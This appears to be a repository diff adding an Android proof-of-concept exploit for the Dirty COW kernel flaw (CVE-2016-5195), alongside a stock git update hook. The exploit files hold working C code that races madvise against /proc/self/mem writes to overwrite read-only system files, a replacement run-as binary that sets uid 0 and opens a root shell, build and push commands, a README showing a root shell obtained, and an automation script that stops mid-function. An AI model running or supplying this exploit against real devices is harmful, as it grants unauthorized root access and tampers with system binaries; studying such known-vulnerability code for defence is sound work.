| 2 | +# | ||
| 3 | +# An example hook script to block unannotated tags from entering. | ||
| 4 | +# Called by "git receive-pack" with arguments: refname sha1-old sha1-new | ||
| 5 | +# | ||
| 6 | +# To enable this hook, rename this file to "update". | ||
| 7 | +# | ||
| 8 | +# Config | ||
| 9 | +# ------ | ||
| 10 | +# hooks.allowunannotated | ||
| 11 | +# This boolean sets whether unannotated tags will be allowed into the | ||
| 12 | +# repository. By default they won't be. | ||
| 13 | +# hooks.allowdeletetag | ||
| 14 | +# This boolean sets whether deleting tags will be allowed in the | ||
| 15 | +# repository. By default they won't be. | ||
| 16 | +# hooks.allowmodifytag | ||
| 17 | +# This boolean sets whether a tag may be modified after creation. By default | ||
| 18 | +# it won't be. | ||
| 19 | +# hooks.allowdeletebranch | ||
| 20 | +# This boolean sets whether deleting branches will be allowed in the | ||
| 21 | +# repository. By default they won't be. | ||
| 22 | +# hooks.denycreatebranch | ||
| 23 | +# This boolean sets whether remotely creating branches will be denied | ||
| 24 | +# in the repository. By default this is allowed. | ||
| 25 | +# | ||
| 26 | + | ||
| 27 | +# --- Command line | ||
| 28 | +refname="$1" | ||
| 29 | +oldrev="$2" | ||
| 30 | +newrev="$3" | ||
| 31 | + | ||
| 32 | +# --- Safety check | ||
| 33 | +if [ -z "$GIT_DIR" ]; then | ||
| 34 | + echo "Don't run this script from the command line." >&2 | ||
| 35 | + echo " (if you want, you could supply GIT_DIR then run" >&2 | ||
| 36 | + echo " $0 <ref> <oldrev> <newrev>)" >&2 | ||
| 37 | + exit 1 | ||
| 38 | +fi | ||
| 39 | + | ||
| 40 | +if [ -z "$refname" -o -z "$oldrev" -o -z "$newrev" ]; then | ||
| 41 | + echo "usage: $0 <ref> <oldrev> <newrev>" >&2 | ||
| 42 | + exit 1 | ||
| 43 | +fi | ||
| 44 | + | ||
| 45 | +# --- Config | ||
| 46 | +allowunannotated=$(git config --bool hooks.allowunannotated) | ||
| 47 | +allowdeletebranch=$(git config --bool hooks.allowdeletebranch) | ||
| 48 | +denycreatebranch=$(git config --bool hooks.denycreatebranch) | ||
| 49 | +allowdeletetag=$(git config --bool hooks.allowdeletetag) | ||
| 50 | +allowmodifytag=$(git config --bool hooks.allowmodifytag) | ||
| 51 | + | ||
| 52 | +# check for no description | ||
| 53 | +projectdesc=$(sed -e '1q' "$GIT_DIR/description") | ||
| 54 | +case "$projectdesc" in | ||
| 55 | +"Unnamed repository"* | "") | ||
| 56 | + echo "*** Project description file hasn't been set" >&2 | ||
| 57 | + exit 1 | ||
| 58 | + ;; | ||
| 59 | +esac | ||
| 60 | + | ||
| 61 | +# --- Check types | ||
| 62 | +# if $newrev is 0000...0000, it's a commit to delete a ref. | ||
| 63 | +zero="0000000000000000000000000000000000000000" | ||
| 64 | +if [ "$newrev" = "$zero" ]; then | ||
| 65 | + newrev_type=delete | ||
| 66 | +else | ||
| 67 | + newrev_type=$(git cat-file -t $newrev) | ||
| 68 | +fi | ||
| 69 | + | ||
| 70 | +case "$refname","$newrev_type" in | ||
| 71 | + refs/tags/*,commit) | ||
| 72 | + # un-annotated tag | ||
| 73 | + short_refname=${refname##refs/tags/} | ||
| 74 | + if [ "$allowunannotated" != "true" ]; then | ||
| 75 | + echo "*** The un-annotated tag, $short_refname, is not allowed in this repository" >&2 | ||
| 76 | + echo "*** Use 'git tag [ -a | -s ]' for tags you want to propagate." >&2 | ||
| 77 | + exit 1 | ||
| 78 | + fi | ||
| 79 | + ;; | ||
| 80 | + refs/tags/*,delete) | ||
| 81 | + # delete tag | ||
| 82 | + if [ "$allowdeletetag" != "true" ]; then | ||
| 83 | + echo "*** Deleting a tag is not allowed in this repository" >&2 | ||
| 84 | + exit 1 | ||
| 85 | + fi | ||
| 86 | + ;; | ||
| 87 | + refs/tags/*,tag) | ||
| 88 | + # annotated tag | ||
| 89 | + if [ "$allowmodifytag" != "true" ] && git rev-parse $refname > /dev/null 2>&1 | ||
| 90 | + then | ||
| 91 | + echo "*** Tag '$refname' already exists." >&2 | ||
| 92 | + echo "*** Modifying a tag is not allowed in this repository." >&2 | ||
| 93 | + exit 1 | ||
| 94 | + fi | ||
| 95 | + ;; | ||
| 96 | + refs/heads/*,commit) | ||
| 97 | + # branch | ||
| 98 | + if [ "$oldrev" = "$zero" -a "$denycreatebranch" = "true" ]; then | ||
| 99 | + echo "*** Creating a branch is not allowed in this repository" >&2 | ||
| 100 | + exit 1 | ||
| 101 | + fi | ||
| 102 | + ;; | ||
| 103 | + refs/heads/*,delete) | ||
| 104 | + # delete branch | ||
| 105 | + if [ "$allowdeletebranch" != "true" ]; then | ||
| 106 | + echo "*** Deleting a branch is not allowed in this repository" >&2 | ||
| 107 | + exit 1 | ||
| 108 | + fi | ||
| 109 | + ;; | ||
| 110 | + refs/remotes/*,commit) | ||
| 111 | + # tracking branch | ||
| 112 | + ;; | ||
| 113 | + refs/remotes/*,delete) | ||
| 114 | + # delete tracking branch | ||
| 115 | + if [ "$allowdeletebranch" != "true" ]; then | ||
| 116 | + echo "*** Deleting a tracking branch is not allowed in this repository" >&2 | ||
| 117 | + exit 1 | ||
| 118 | + fi | ||
| 119 | + ;; | ||
| 120 | + *) | ||
| 121 | + # Anything else (is there anything else?) | ||
| 122 | + echo "*** Update hook: unknown type of update to ref $refname of type $newrev_type" >&2 | ||
| 123 | + exit 1 | ||
| 124 | + ;; | ||
| 125 | +esac | ||
| 126 | + | ||
| 127 | +# --- Finished | ||
| 128 | +exit 0 |
exploits/CVE-2016-5195/.git-disabled/index
0 → 100644
No preview for this file type
exploits/CVE-2016-5195/.git-disabled/info/exclude
0 → 100644
| 1 | +++ a/exploits/CVE-2016-5195/.git-disabled/info/exclude | ||
| 1 | +# git ls-files --others --exclude-from=.git/info/exclude | ||
| 2 | +# Lines that start with '#' are comments. | ||
| 3 | +# For a project mostly in C, the following would be a good set of | ||
| 4 | +# exclude patterns (uncomment them if you want to use them): | ||
| 5 | +# *.[oa] | ||
| 6 | +# *~ |
exploits/CVE-2016-5195/.git-disabled/logs/HEAD
0 → 100644
exploits/CVE-2016-5195/.git-disabled/logs/refs/heads/master
0 → 100644
exploits/CVE-2016-5195/.git-disabled/logs/refs/remotes/origin/HEAD
0 → 100644
exploits/CVE-2016-5195/.git-disabled/objects/pack/pack-fd6ad10a65d7118e4f67c5dd2bf8c285e1255172.idx
0 → 100644
No preview for this file type
exploits/CVE-2016-5195/.git-disabled/objects/pack/pack-fd6ad10a65d7118e4f67c5dd2bf8c285e1255172.pack
0 → 100644
No preview for this file type
exploits/CVE-2016-5195/.git-disabled/packed-refs
0 → 100644
exploits/CVE-2016-5195/.git-disabled/refs/heads/master
0 → 100644
exploits/CVE-2016-5195/.git-disabled/refs/remotes/origin/HEAD
0 → 100644
exploits/CVE-2016-5195/.gitignore
0 → 100644
| 1 | +++ a/exploits/CVE-2016-5195/.gitignore | ||
| 1 | +# files for diffutils | ||
| 2 | +*.orig | ||
| 3 | +*.rej | ||
| 4 | + | ||
| 5 | +# built application files | ||
| 6 | +*.apk | ||
| 7 | +*.ap_ | ||
| 8 | + | ||
| 9 | +# files for the dex VM | ||
| 10 | +*.dex | ||
| 11 | + | ||
| 12 | +# Java class files | ||
| 13 | +*.class | ||
| 14 | + | ||
| 15 | +# generated files | ||
| 16 | +bin/ | ||
| 17 | +gen/ | ||
| 18 | +libs/ | ||
| 19 | +obj/ | ||
| 20 | + | ||
| 21 | +# Local configuration file (sdk path, etc) | ||
| 22 | +local.properties | ||
| 23 | +build.prop | ||
| 24 | +build.prop.bak | ||
| 25 | + | ||
| 26 | +# Eclipse project files | ||
| 27 | +.classpath | ||
| 28 | +.project |
exploits/CVE-2016-5195/Android.mk
0 → 100644
| 1 | +++ a/exploits/CVE-2016-5195/Android.mk | ||
| 1 | +LOCAL_PATH := $(call my-dir) | ||
| 2 | + | ||
| 3 | +include $(CLEAR_VARS) | ||
| 4 | + | ||
| 5 | +LOCAL_SRC_FILES := \ | ||
| 6 | + dirtycow.c \ | ||
| 7 | + dcow.c | ||
| 8 | + | ||
| 9 | +LOCAL_MODULE := dirtycow | ||
| 10 | +LOCAL_LDFLAGS += -llog | ||
| 11 | +LOCAL_CFLAGS += -DDEBUG | ||
| 12 | + | ||
| 13 | +include $(BUILD_EXECUTABLE) | ||
| 14 | + | ||
| 15 | +include $(CLEAR_VARS) | ||
| 16 | +LOCAL_MODULE := run-as | ||
| 17 | +LOCAL_SRC_FILES := \ | ||
| 18 | + dirtycow.c \ | ||
| 19 | + run-as.c | ||
| 20 | +LOCAL_CFLAGS += -DDEBUG | ||
| 21 | +LOCAL_LDFLAGS += -llog | ||
| 22 | + | ||
| 23 | +include $(BUILD_EXECUTABLE) | ||
| 24 | + |
exploits/CVE-2016-5195/Makefile
0 → 100644
| 1 | +++ a/exploits/CVE-2016-5195/Makefile | ||
| 1 | + | ||
| 2 | +ARCH := $(shell adb shell getprop ro.product.cpu.abi) | ||
| 3 | +SDK_VERSION := $(shell adb shell getprop ro.build.version.sdk) | ||
| 4 | + | ||
| 5 | +all: build | ||
| 6 | + | ||
| 7 | +build: | ||
| 8 | + ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=$(ARCH) APP_PLATFORM=android-$(SDK_VERSION) | ||
| 9 | + | ||
| 10 | +push: build | ||
| 11 | + adb push libs/$(ARCH)/dirtycow /data/local/tmp/dcow | ||
| 12 | + | ||
| 13 | +test: push | ||
| 14 | + adb push test.sh /data/local/tmp/test.sh | ||
| 15 | + adb shell 'chmod 777 /data/local/tmp/dcow' | ||
| 16 | + adb shell 'chmod 777 /data/local/tmp/test.sh' | ||
| 17 | + adb shell '/data/local/tmp/test.sh' | ||
| 18 | + adb shell '/data/local/tmp/dcow /data/local/tmp/test /data/local/tmp/test2' | ||
| 19 | + adb shell 'cat /data/local/tmp/test2' | ||
| 20 | + adb shell 'cat /data/local/tmp/test2' | xxd | ||
| 21 | + | ||
| 22 | +root: push | ||
| 23 | + adb push libs/$(ARCH)/run-as /data/local/tmp/run-as | ||
| 24 | + adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as' | ||
| 25 | + adb shell /system/bin/run-as | ||
| 26 | + | ||
| 27 | +clean: | ||
| 28 | + rm -rf libs | ||
| 29 | + rm -rf obj | ||
| 30 | + |
exploits/CVE-2016-5195/README.md
0 → 100644
| 1 | +++ a/exploits/CVE-2016-5195/README.md | ||
| 1 | +# CVE-2016-5195 | ||
| 2 | +CVE-2016-5195 (dirty cow/dirtycow/dirtyc0w) proof of concept for Android | ||
| 3 | + | ||
| 4 | +This repository demonstrates the vulnerability on vulnerable Android devices attached via ADB. | ||
| 5 | +It does not disable SELinux (see https://github.com/timwr/CVE-2016-5195/issues/9) or install superuser on the device. | ||
| 6 | + | ||
| 7 | +``` | ||
| 8 | + | ||
| 9 | +$ make root | ||
| 10 | +ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16 | ||
| 11 | +make[1]: Entering directory '/home/user/dev/git/exploits/CVE-2016-5195' | ||
| 12 | +[arm64-v8a] Install : dirtycow => libs/arm64-v8a/dirtycow | ||
| 13 | +[arm64-v8a] Install : run-as => libs/arm64-v8a/run-as | ||
| 14 | +[x86_64] Install : dirtycow => libs/x86_64/dirtycow | ||
| 15 | +[x86_64] Install : run-as => libs/x86_64/run-as | ||
| 16 | +[mips64] Install : dirtycow => libs/mips64/dirtycow | ||
| 17 | +[mips64] Install : run-as => libs/mips64/run-as | ||
| 18 | +[armeabi-v7a] Install : dirtycow => libs/armeabi-v7a/dirtycow | ||
| 19 | +[armeabi-v7a] Install : run-as => libs/armeabi-v7a/run-as | ||
| 20 | +[armeabi] Install : dirtycow => libs/armeabi/dirtycow | ||
| 21 | +[armeabi] Install : run-as => libs/armeabi/run-as | ||
| 22 | +[x86] Install : dirtycow => libs/x86/dirtycow | ||
| 23 | +[x86] Install : run-as => libs/x86/run-as | ||
| 24 | +[mips] Install : dirtycow => libs/mips/dirtycow | ||
| 25 | +[mips] Install : run-as => libs/mips/run-as | ||
| 26 | +make[1]: Leaving directory '/home/user/dev/git/exploits/CVE-2016-5195' | ||
| 27 | +adb push libs/armeabi-v7a/dirtycow /data/local/tmp/dcow | ||
| 28 | +[100%] /data/local/tmp/dcow | ||
| 29 | +adb push libs/armeabi-v7a/run-as /data/local/tmp/run-as | ||
| 30 | +[100%] /data/local/tmp/run-as | ||
| 31 | +adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as' | ||
| 32 | +dcow /data/local/tmp/run-as /system/bin/run-as | ||
| 33 | +warning: new file size (17944) and file old size (5544) differ | ||
| 34 | + | ||
| 35 | +[*] size 5544 | ||
| 36 | +[*] mmap 0xb536b000 | ||
| 37 | +[*] currently 0xb536b000=464c457f | ||
| 38 | +[*] madvise = 0xb536b000 5544 | ||
| 39 | +[*] madvise = 0 0 | ||
| 40 | +[*] /proc/self/mem 5544 1 | ||
| 41 | +[*] exploited 0xb536b000=464c457f | ||
| 42 | +adb shell /system/bin/run-as | ||
| 43 | +uid /system/bin/run-as 2000 | ||
| 44 | +uid 0 | ||
| 45 | +0 u:r:runas:s0 | ||
| 46 | +context 0 u:r:shell:s0 | ||
| 47 | +/system/bin/sh: can't find tty fd: No such device or address | ||
| 48 | +/system/bin/sh: warning: won't have full job control | ||
| 49 | +shamu:/ # id | ||
| 50 | +uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0 | ||
| 51 | +shamu:/ # | ||
| 52 | + | ||
| 53 | +``` |
exploits/CVE-2016-5195/dcow.c
0 → 100644
| 1 | +++ a/exploits/CVE-2016-5195/dcow.c | ||
| 1 | +#include <err.h> | ||
| 2 | +#include <dlfcn.h> | ||
| 3 | +#include <stdio.h> | ||
| 4 | +#include <fcntl.h> | ||
| 5 | +#include <stdlib.h> | ||
| 6 | +#include <string.h> | ||
| 7 | +#include <unistd.h> | ||
| 8 | +#include <limits.h> | ||
| 9 | +#include <pthread.h> | ||
| 10 | +#include <sys/mman.h> | ||
| 11 | +#include <sys/stat.h> | ||
| 12 | +#include <sys/wait.h> | ||
| 13 | +#include <sys/types.h> | ||
| 14 | + | ||
| 15 | +#ifdef DEBUG | ||
| 16 | +#include <android/log.h> | ||
| 17 | +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } | ||
| 18 | +#elif PRINT | ||
| 19 | +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } | ||
| 20 | +#else | ||
| 21 | +#define LOGV(...) | ||
| 22 | +#endif | ||
| 23 | + | ||
| 24 | +extern int dcow(int argc, const char *argv[]); | ||
| 25 | + | ||
| 26 | +int main(int argc, const char *argv[]) | ||
| 27 | +{ | ||
| 28 | + return dcow(argc, argv); | ||
| 29 | +} | ||
| 0 | \ No newline at end of file | 30 | \ No newline at end of file |
exploits/CVE-2016-5195/dirtycow.c
0 → 100644
| 1 | +++ a/exploits/CVE-2016-5195/dirtycow.c | ||
| 1 | +#include <err.h> | ||
| 2 | +#include <dlfcn.h> | ||
| 3 | +#include <stdio.h> | ||
| 4 | +#include <fcntl.h> | ||
| 5 | +#include <stdlib.h> | ||
| 6 | +#include <string.h> | ||
| 7 | +#include <unistd.h> | ||
| 8 | +#include <limits.h> | ||
| 9 | +#include <pthread.h> | ||
| 10 | +#include <sys/mman.h> | ||
| 11 | +#include <sys/stat.h> | ||
| 12 | +#include <sys/wait.h> | ||
| 13 | +#include <sys/types.h> | ||
| 14 | + | ||
| 15 | +#ifdef DEBUG | ||
| 16 | +#include <android/log.h> | ||
| 17 | +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } | ||
| 18 | +#elif PRINT | ||
| 19 | +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } | ||
| 20 | +#else | ||
| 21 | +#define LOGV(...) | ||
| 22 | +#endif | ||
| 23 | + | ||
| 24 | +#define LOOP 0x100000 | ||
| 25 | +#define TIMEOUT 10 | ||
| 26 | + | ||
| 27 | +struct mem_arg { | ||
| 28 | + void *offset; | ||
| 29 | + void *patch; | ||
| 30 | + off_t patch_size; | ||
| 31 | + const char *fname; | ||
| 32 | + volatile int stop; | ||
| 33 | + int success; | ||
| 34 | +}; | ||
| 35 | + | ||
| 36 | +static void *checkThread(void *arg) { | ||
| 37 | + struct mem_arg *mem_arg; | ||
| 38 | + mem_arg = (struct mem_arg *)arg; | ||
| 39 | + struct stat st; | ||
| 40 | + int i; | ||
| 41 | + char * newdata = malloc(mem_arg->patch_size); | ||
| 42 | + for(i = 0; i < TIMEOUT && !mem_arg->stop; i++) { | ||
| 43 | + int f=open(mem_arg->fname, O_RDONLY); | ||
| 44 | + if (f == -1) { | ||
| 45 | + LOGV("could not open %s", mem_arg->fname); | ||
| 46 | + break; | ||
| 47 | + } | ||
| 48 | + if (fstat(f,&st) == -1) { | ||
| 49 | + LOGV("could not stat %s", mem_arg->fname); | ||
| 50 | + close(f); | ||
| 51 | + break; | ||
| 52 | + } | ||
| 53 | + read(f, newdata, mem_arg->patch_size); | ||
| 54 | + close(f); | ||
| 55 | + | ||
| 56 | + int memcmpret = memcmp(newdata, mem_arg->patch, mem_arg->patch_size); | ||
| 57 | + if (memcmpret == 0) { | ||
| 58 | + mem_arg->stop = 1; | ||
| 59 | + mem_arg->success = 1; | ||
| 60 | + return 0; | ||
| 61 | + } | ||
| 62 | + usleep(100 * 1000); | ||
| 63 | + } | ||
| 64 | + mem_arg->stop = 1; | ||
| 65 | + return 0; | ||
| 66 | +} | ||
| 67 | +static void *madviseThread(void *arg) | ||
| 68 | +{ | ||
| 69 | + struct mem_arg *mem_arg; | ||
| 70 | + size_t size; | ||
| 71 | + void *addr; | ||
| 72 | + int i, c = 0; | ||
| 73 | + | ||
| 74 | + mem_arg = (struct mem_arg *)arg; | ||
| 75 | + size = mem_arg->patch_size; | ||
| 76 | + addr = (void *)(mem_arg->offset); | ||
| 77 | + | ||
| 78 | + LOGV("[*] madvise = %p %zd", addr, size); | ||
| 79 | + | ||
| 80 | + for(i = 0; i < LOOP && !mem_arg->stop; i++) { | ||
| 81 | + c += madvise(addr, size, MADV_DONTNEED); | ||
| 82 | + } | ||
| 83 | + | ||
| 84 | + LOGV("[*] madvise = %d %d", c, i); | ||
| 85 | + mem_arg->stop = 1; | ||
| 86 | + return 0; | ||
| 87 | +} | ||
| 88 | + | ||
| 89 | +static void *procselfmemThread(void *arg) | ||
| 90 | +{ | ||
| 91 | + struct mem_arg *mem_arg; | ||
| 92 | + int fd, i, c = 0; | ||
| 93 | + mem_arg = (struct mem_arg *)arg; | ||
| 94 | + unsigned char *p = mem_arg->patch; | ||
| 95 | + | ||
| 96 | + fd = open("/proc/self/mem", O_RDWR); | ||
| 97 | + if (fd == -1) { | ||
| 98 | + LOGV("open(\"/proc/self/mem\""); | ||
| 99 | + } | ||
| 100 | + | ||
| 101 | + for (i = 0; i < LOOP && !mem_arg->stop; i++) { | ||
| 102 | + lseek(fd, (off_t)mem_arg->offset, SEEK_SET); | ||
| 103 | + c += write(fd, p, mem_arg->patch_size); | ||
| 104 | + } | ||
| 105 | + | ||
| 106 | + LOGV("[*] /proc/self/mem %d %i", c, i); | ||
| 107 | + | ||
| 108 | + close(fd); | ||
| 109 | + | ||
| 110 | + mem_arg->stop = 1; | ||
| 111 | + return NULL; | ||
| 112 | +} | ||
| 113 | + | ||
| 114 | +static void exploit(struct mem_arg *mem_arg) | ||
| 115 | +{ | ||
| 116 | + pthread_t pth1, pth2, pth3; | ||
| 117 | + | ||
| 118 | + LOGV("[*] currently %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset); | ||
| 119 | + | ||
| 120 | + mem_arg->stop = 0; | ||
| 121 | + mem_arg->success = 0; | ||
| 122 | + pthread_create(&pth3, NULL, checkThread, mem_arg); | ||
| 123 | + pthread_create(&pth1, NULL, madviseThread, mem_arg); | ||
| 124 | + pthread_create(&pth2, NULL, procselfmemThread, mem_arg); | ||
| 125 | + | ||
| 126 | + pthread_join(pth3, NULL); | ||
| 127 | + pthread_join(pth1, NULL); | ||
| 128 | + pthread_join(pth2, NULL); | ||
| 129 | + | ||
| 130 | + LOGV("[*] exploited %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset); | ||
| 131 | +} | ||
| 132 | + | ||
| 133 | +int dcow(int argc, const char * argv[]) | ||
| 134 | +{ | ||
| 135 | + if (argc < 2) { | ||
| 136 | + LOGV("usage %s /data/local/tmp/default.prop /default.prop", argv[0]); | ||
| 137 | + return 0; | ||
| 138 | + } | ||
| 139 | + | ||
| 140 | + const char * fromfile = argv[1]; | ||
| 141 | + const char * tofile = argv[2]; | ||
| 142 | + LOGV("dcow %s %s", fromfile, tofile); | ||
| 143 | + | ||
| 144 | + struct mem_arg mem_arg; | ||
| 145 | + struct stat st; | ||
| 146 | + struct stat st2; | ||
| 147 | + | ||
| 148 | + int f = open(tofile, O_RDONLY); | ||
| 149 | + if (f == -1) { | ||
| 150 | + LOGV("could not open %s", tofile); | ||
| 151 | + return -1; | ||
| 152 | + } | ||
| 153 | + if (fstat(f,&st) == -1) { | ||
| 154 | + LOGV("could not stat %s", tofile); | ||
| 155 | + return 1; | ||
| 156 | + } | ||
| 157 | + | ||
| 158 | + int f2=open(fromfile, O_RDONLY); | ||
| 159 | + if (f2 == -1) { | ||
| 160 | + LOGV("could not open %s", fromfile); | ||
| 161 | + return 2; | ||
| 162 | + } | ||
| 163 | + if (fstat(f2,&st2) == -1) { | ||
| 164 | + LOGV("could not stat %s", fromfile); | ||
| 165 | + return 3; | ||
| 166 | + } | ||
| 167 | + | ||
| 168 | + size_t size = st2.st_size; | ||
| 169 | + if (st2.st_size != st.st_size) { | ||
| 170 | + LOGV("warning: new file size (%lld) and destination file size (%lld) differ\n", (unsigned long long)st2.st_size, (unsigned long long)st.st_size); | ||
| 171 | + if (st2.st_size > st.st_size) { | ||
| 172 | + LOGV("corruption?\n"); | ||
| 173 | + } | ||
| 174 | + } | ||
| 175 | + | ||
| 176 | + LOGV("[*] size %zd", size); | ||
| 177 | + mem_arg.patch = malloc(size); | ||
| 178 | + if (mem_arg.patch == NULL) { | ||
| 179 | + return 4; | ||
| 180 | + } | ||
| 181 | + | ||
| 182 | + mem_arg.patch_size = size; | ||
| 183 | + mem_arg.fname = argv[2]; | ||
| 184 | + | ||
| 185 | + read(f2, mem_arg.patch, size); | ||
| 186 | + close(f2); | ||
| 187 | + | ||
| 188 | + /*read(f, mem_arg.unpatch, st.st_size);*/ | ||
| 189 | + | ||
| 190 | + void * map = mmap(NULL, size, PROT_READ, MAP_PRIVATE, f, 0); | ||
| 191 | + if (map == MAP_FAILED) { | ||
| 192 | + LOGV("mmap"); | ||
| 193 | + return 5; | ||
| 194 | + } | ||
| 195 | + | ||
| 196 | + LOGV("[*] mmap %p", map); | ||
| 197 | + | ||
| 198 | + mem_arg.offset = map; | ||
| 199 | + | ||
| 200 | + exploit(&mem_arg); | ||
| 201 | + | ||
| 202 | + close(f); | ||
| 203 | + // to put back | ||
| 204 | + /*exploit(&mem_arg, 0);*/ | ||
| 205 | + if (mem_arg.success == 0) { | ||
| 206 | + return -1; | ||
| 207 | + } | ||
| 208 | + | ||
| 209 | + return 0; | ||
| 210 | +} | ||
| 0 | \ No newline at end of file | 211 | \ No newline at end of file |
exploits/CVE-2016-5195/run-as.c
0 → 100644
| 1 | +++ a/exploits/CVE-2016-5195/run-as.c | ||
| 1 | +#include <unistd.h> | ||
| 2 | +#include <stdio.h> | ||
| 3 | +#include <stdlib.h> | ||
| 4 | +#include <string.h> | ||
| 5 | +#include <errno.h> | ||
| 6 | + | ||
| 7 | +#include <dlfcn.h> | ||
| 8 | +#include <fcntl.h> | ||
| 9 | + | ||
| 10 | +#ifdef DEBUG | ||
| 11 | +#include <android/log.h> | ||
| 12 | +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } | ||
| 13 | +#elif PRINT | ||
| 14 | +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } | ||
| 15 | +#else | ||
| 16 | +#define LOGV(...) | ||
| 17 | +#endif | ||
| 18 | + | ||
| 19 | +//reduce binary size | ||
| 20 | +char __aeabi_unwind_cpp_pr0[0]; | ||
| 21 | + | ||
| 22 | +typedef int getcon_t(char ** con); | ||
| 23 | +typedef int setcon_t(const char* con); | ||
| 24 | + | ||
| 25 | +extern int dcow(int argc, const char *argv[]); | ||
| 26 | + | ||
| 27 | +int main(int argc, const char **argv) | ||
| 28 | +{ | ||
| 29 | + //LOGV("uid %s %d", argv[0], getuid()); | ||
| 30 | + | ||
| 31 | + if (setresgid(0, 0, 0) || setresuid(0, 0, 0)) { | ||
| 32 | + LOGV("setresgid/setresuid failed"); | ||
| 33 | + } | ||
| 34 | + | ||
| 35 | + //LOGV("uid %d", getuid()); | ||
| 36 | + | ||
| 37 | + dlerror(); | ||
| 38 | +#ifdef __aarch64__ | ||
| 39 | + void * selinux = dlopen("/system/lib64/libselinux.so", RTLD_LAZY); | ||
| 40 | +#else | ||
| 41 | + void * selinux = dlopen("/system/lib/libselinux.so", RTLD_LAZY); | ||
| 42 | +#endif | ||
| 43 | + if (selinux) { | ||
| 44 | + void * getcon = dlsym(selinux, "getcon"); | ||
| 45 | + const char *error = dlerror(); | ||
| 46 | + if (error) { | ||
| 47 | + LOGV("dlsym error %s", error); | ||
| 48 | + } else { | ||
| 49 | + getcon_t * getcon_p = (getcon_t*)getcon; | ||
| 50 | + char * secontext; | ||
| 51 | + int ret = (*getcon_p)(&secontext); | ||
| 52 | + //LOGV("%d %s", ret, secontext); | ||
| 53 | + void * setcon = dlsym(selinux, "setcon"); | ||
| 54 | + const char *error = dlerror(); | ||
| 55 | + if (error) { | ||
| 56 | + LOGV("dlsym setcon error %s", error); | ||
| 57 | + } else { | ||
| 58 | + setcon_t * setcon_p = (setcon_t*)setcon; | ||
| 59 | + ret = (*setcon_p)("u:r:shell:s0"); | ||
| 60 | + ret = (*getcon_p)(&secontext); | ||
| 61 | + //LOGV("context %d %s", ret, secontext); | ||
| 62 | + } | ||
| 63 | + } | ||
| 64 | + dlclose(selinux); | ||
| 65 | + } else { | ||
| 66 | + //LOGV("no selinux?"); | ||
| 67 | + } | ||
| 68 | + | ||
| 69 | + system("/system/bin/sh -i"); | ||
| 70 | + | ||
| 71 | +} |
exploits/CVE-2016-5195/test.sh
0 → 100644
| 1 | +++ a/exploits/CVE-2016-5195/test.sh | ||
| 1 | + | ||
| 2 | +if [ -f /data/local/tmp/test ]; then | ||
| 3 | + chmod 777 /data/local/tmp/test | ||
| 4 | + rm /data/local/tmp/test | ||
| 5 | +fi | ||
| 6 | + | ||
| 7 | +if [ -f /data/local/tmp/test2 ]; then | ||
| 8 | + chmod 777 /data/local/tmp/test2 | ||
| 9 | + rm /data/local/tmp/test2 | ||
| 10 | +fi | ||
| 11 | + | ||
| 12 | +echo vulnerable!!!!!!! > /data/local/tmp/test | ||
| 13 | +echo yournotvulnerable > /data/local/tmp/test2 | ||
| 14 | + | ||
| 15 | +chmod 444 /data/local/tmp/test2 | ||
| 16 | +ls -l /data/local/tmp/test* | ||
| 17 | + |
android_run_root_shell @ 23f7d701b26
exploits/cve-2016-5195.sh
0 → 100644
| 1 | +++ a/exploits/cve-2016-5195.sh | ||
| 1 | +NDK_PATH="/home/imanol/devel/android-sdk/ndk-bundle" | ||
| 2 | + | ||
| 3 | +function pre_cve_2016_5195() | ||
| 4 | +{ | ||
| 5 | + local ARCH=$(adb -s $1 shell getprop ro.product.cpu.abi | tr -d '\r') | ||
| 6 | + local SDK_VERSION=$(adb -s $1 shell getprop ro.build.version.sdk | tr -d '\r') | ||
| 7 | + pushd exploits/CVE-2016-5195 > /dev/null | ||
| 8 | + PATH=$PATH:$NDK_PATH | ||
| 9 | + ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=$ARCH APP_PLATFORM=android-$SDK_VERSION &> /dev/null | ||
| 10 | + adb -s $1 push libs/$ARCH/dirtycow /data/local/tmp/dcow &> /dev/null | ||
| 11 | + adb -s $1 push libs/$ARCH/run-as /data/local/tmp/run-as &> /dev/null | ||
| 12 | + popd > /dev/null | ||
| 13 | +} | ||
| 14 | + | ||
| 15 | +function cve_2016_5195() | ||
| 16 | +{ | ||
| 17 | + local rootcmd="adb -s $1 shell run-as | tail -n +3" | ||
| 18 | + adb -s $1 shell cp -a /system/bin/run-as /data/local/tmp/run-as_orig &> /dev/null | ||
| 19 | + adb -s $1 pull /system/bin/run-as dump/$1/run-as &> /dev/null | ||
| 20 | + adb -s $1 shell "/data/local/tmp/stat -c \"%u:%g %a\" /system/bin/run-as" &> dump/$1/run-as_stat | ||
| 21 | + md5sum dump/$1/run-as &> dump/$1/run-as.md5 | ||
| 22 | + adb -s $1 shell /data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as &> /dev/null | ||
